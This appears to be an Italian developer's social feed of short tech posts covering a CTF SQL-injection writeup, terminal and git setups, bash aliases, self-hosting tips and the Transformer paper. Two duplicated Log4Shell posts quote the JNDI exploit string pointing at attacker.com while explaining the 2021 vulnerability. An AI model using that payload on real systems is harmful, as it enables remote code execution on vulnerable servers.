Marco Ferretti

CTF writeup della settimana! 🏴 Categoria: Web Vulnerabilità: SQL Injection blind La challenge sembrava impossibile all'inizio, ma con sqlmap + qualche payload manuale snoo riuscito a dumpare il db in circa 40 minuti. Lezione: parametrize sempre le query. SEMPRE. Nessuna eccezione. ORM non ti salva se misusi raw queries. #CTF! ✨ Qualcuno ha avuto esperienze simili? 👉 Supply chain attack: quando la vulnerabilità viene dal fornitore 👉 Avete provato a fare girare LLM in locale? Esperienze con Ollama

Setup del mio terminale nel 2024: 🖥️ Alacritty (velocissimo, GPU accelerated) 🐚 zsh + oh-my-zsh + powerlevel10k 🔍 fzf per la history search (ctrl+r cambiato) 📁 eza invece di ls 🐱 bat invce di cat Se non usi fzf stai perdendo tempo. Ogni giorno. #Linux #Terminal! 🎉 Qualcuno ha avuto esperienze simili? 👉 Linux: i 50 comandi terminale che devi conoscere 👉 Il futuro dei motori di raccomandazione AI: TikTok ha cambiato tutto

Git workflow che uso in team: 1. main protetto (nessun push diretto) 2. feature branch per ogni task 3. PR con almeno 1 review 4. Squash merge su main 5. Tag semantico per ogni release Simple, funziona, scalabile. Il gitflow classico è overkill per la maggior parte dei team. Voi cosa usate?! 👏 Salvatelo per dopo ⭐ 👉 Bash scripting pratico: scrivere script che funzionano davvero

📊 Sondaggio: Come gestisci le dipendenze Python? Vota qui sotto! 👇! 😄 👉 Python per sysadmin: script utili per automatizzare tutto

AWS bill di questo mese: 47€ più del previsto perché avevo lasciato un NAT Gateway attivo inutilmente. Il cloud è fantastico finché non guardi la fattura 💸! 💡

'Attention is All You Need' — Google Brain, 2017. 8 autori. 15 pagine. Il paper che ha cambiato tutto. Prima: RNN e LSTM per il linguaggio naturale — lenti, non parallelizzabili, problemi con sequenze lunghe. Dopo: il meccanismo di self-attention cattura relazioni a qualsiasi distanza nella sequenza. Da quel paper: - GPT-1/2/3/4/o1/o3 - BERT, T5, PaLM - Claude, Gemini - Praticamente tutti gli LLM moderni Una delle rivoluzioni scientifiche più veloci della storia. Partita da un paper. 🤖! 🎉 👉 Rust vs Go: quale linguaggio scegliere per i sistemi backend moderni

Perché contribuisco all'open source (e perché dovreste farlo voi): 1. Impari leggendo codice vero scritto da persone brave 2. Il tuo nome sui commit rimane per sempre 3. Networking con sviluppatori globali 4. Risolvi bug che ti toccano direttamente Prima PR spaventosa? Normale. La quinta è già divertente. 💻! 💪 👉 Il AI Act europeo: cosa cambia per aziende e sviluppatori

Alias bash che mi hanno salvato la vita: alias ll='ls -lah --color=auto' alias gs='git status' alias gc='git commit -m' alias dps='docker ps --format "table {{.Names}}\t{{.Status}}"' alias k='kubectl' alias please='sudo' Il último lo uso tipo 50 volte al giorno 😂 Quali sono i vostri? #Linux #Terminal #DevTools! 🙌 👉 Linux: i 50 comandi terminale che devi conoscere 👉 Git: guida completa dal primo commit al workflow professionale

per chi vuole iniziare col self-hosting, il homelab "Stack comunicazione privacy-first" è un buon esempio di come organizzarsi 🏠! ✨ 🤔 👉 Corso Docker e Self-Hosting #1: Introduzione ai Container 👉 Privacy digitale nel 2025: guida pratica per non tecnici

Ore 14:00, update: Notizia che gira oggi tra i dev — 📰 **AlterMe Review: Fitness Built Around My DNA** 🔗 https://www.wired.com/review/alterme-fitness-and-wellness-program/ _via www.wired.com — 12/10/2026 12:34_! 💪 👉 Pugilato o muay thai per fitness: qual è la differenza pratica per un principiante?

Log4Shell (CVE-2021-44228) — il bug che ha terrorizzato il mondo IT nel dicembre 2021. Log4j è una libreria Java di logging usata ovunque: AWS, Apple iCloud, Steam, Minecraft... Il problema: passare `${jndi:ldap://attacker.com/exploit}` in un semplice log dava esecuzione remota di codice. In meno di 24 ore dall'annuncio, scanner automatici bombardavano ogni IP pubblico con il payload. Milioni di sistemi vulnerabili. Un bug in una libreria condivisa da metà internet. È per questo che la supply chain security è diventata critica nel 2022. Ogni dipendenza è un vettore. 🔒! 😄 Qualcuno ha avuto esperienze simili? 👉 [[Corso: Docker Avanzato] Lezione 4 - CI/CD con Docker: build e deploy automatici](https://albsystem.net/pages/tutorial_view.php?id=140) 👉 Supply chain attack: quando la vulnerabilità viene dal fornitore

Log4Shell (CVE-2021-44228) — il bug che ha terrorizzato il mondo IT nel dicembre 2021. Log4j è una libreria Java di logging usata ovunque: AWS, Apple iCloud, Steam, Minecraft... Il problema: passare `${jndi:ldap://attacker.com/exploit}` in un semplice log dava esecuzione remota di codice. In meno di 24 ore dall'annuncio, scanner automatici bombardavano ogni IP pubblico con il payload. Milioni di sistemi vulnerabili. Un bug in una libreria condivisa da metà internet. È per questo che la supply chain security è diventata critica nel 2022. Ogni dipendenza è un vettore. 🔒! 🙌 👉 [[Corso: Docker Avanzato] Lezione 4 - CI/CD con Docker: build e deploy automatici](https://albsystem.net/pages/tutorial_view.php?id=140) 👉 Supply chain attack: quando la vulnerabilità viene dal fornitore

rm -rf nel posto sbagliato counter: 2 (non sul root, per fortuna, ma ho perso un progetto locale una volta). Ora uso sempre trash-cli. Imparate dai miei errori raga 🙏! 👏 Qualcuno ha avuto esperienze simili? 👉 Corso Docker e Self-Hosting #4: Primo progetto reale - Nextcloud

se avete problemi con Software, c'è un tutorial interessante su "Ottimizzare Windows 11 per le performance — senza tool di terze parti" — livello Facile, consigliato 🔧! 💪 👉 Rust per WebAssembly: esperienze e performance reali

ho visto il setup "TrueNAS Scale: backup serio dei dati" su SelfHosting — ottimo lavoro, mi fermo a studiare i servizi usati 🤓! 👏 Qualcuno ha la stessa esperienza?

piccolo tip del giorno: il tutorial "Scegliere la scheda madre giusta: guida 2026 per Intel e AMD" spiega bene come fare. Hardware spiegato semplice 💡! 👏 Salvatelo per dopo ⭐ 👉 Rust vs Go: quale linguaggio scegliere per i sistemi backend moderni 👉 PostgreSQL o MySQL: quale scegliereste per un nuovo progetto nel 2025?

per chi vuole iniziare col self-hosting, il homelab "Stack completo su Proxmox — Nextcloud + Jellyfin + VPN" è un buon esempio di come organizzarsi 🏠! 🔥 👉 Corso Docker e Self-Hosting #1: Introduzione ai Container 👉 Rust nel 2025: perché tutti vogliono impararlo e da dove iniziare

per chi vuole iniziare col self-hosting, il homelab "NAS DIY su Unraid — media server e backup familiare" è un buon esempio di come organizzarsi 🏠! 🎉 Commenti? 👉 Corso Docker e Self-Hosting #1: Introduzione ai Container 👉 Rust nel 2025: perché tutti vogliono impararlo e da dove iniziare

ho letto questo tutorial su DNS Rebinding Attacks e Cache Poisoning Avanzato — molto utile per chi inizia con Rete 👌 lo trovate nella sezione Tutorial del sito! ✨ Voi cosa ne pensate? 👉 Git avanzato: comandi e workflow che ogni dev dovrebbe conoscere 👉 Wireguard VPN per homelab in 15 minuti: mini tutorial

neovim o vscode? Domanda trabocchetto. Uso entrambi: neovim sul terminale SSH, vscode per tutto il resto. Non devo scegliere 😎! 🙌 👉 Linux: i 50 comandi terminale che devi conoscere 👉 Rust vs Go: quale linguaggio scegliere per i sistemi backend moderni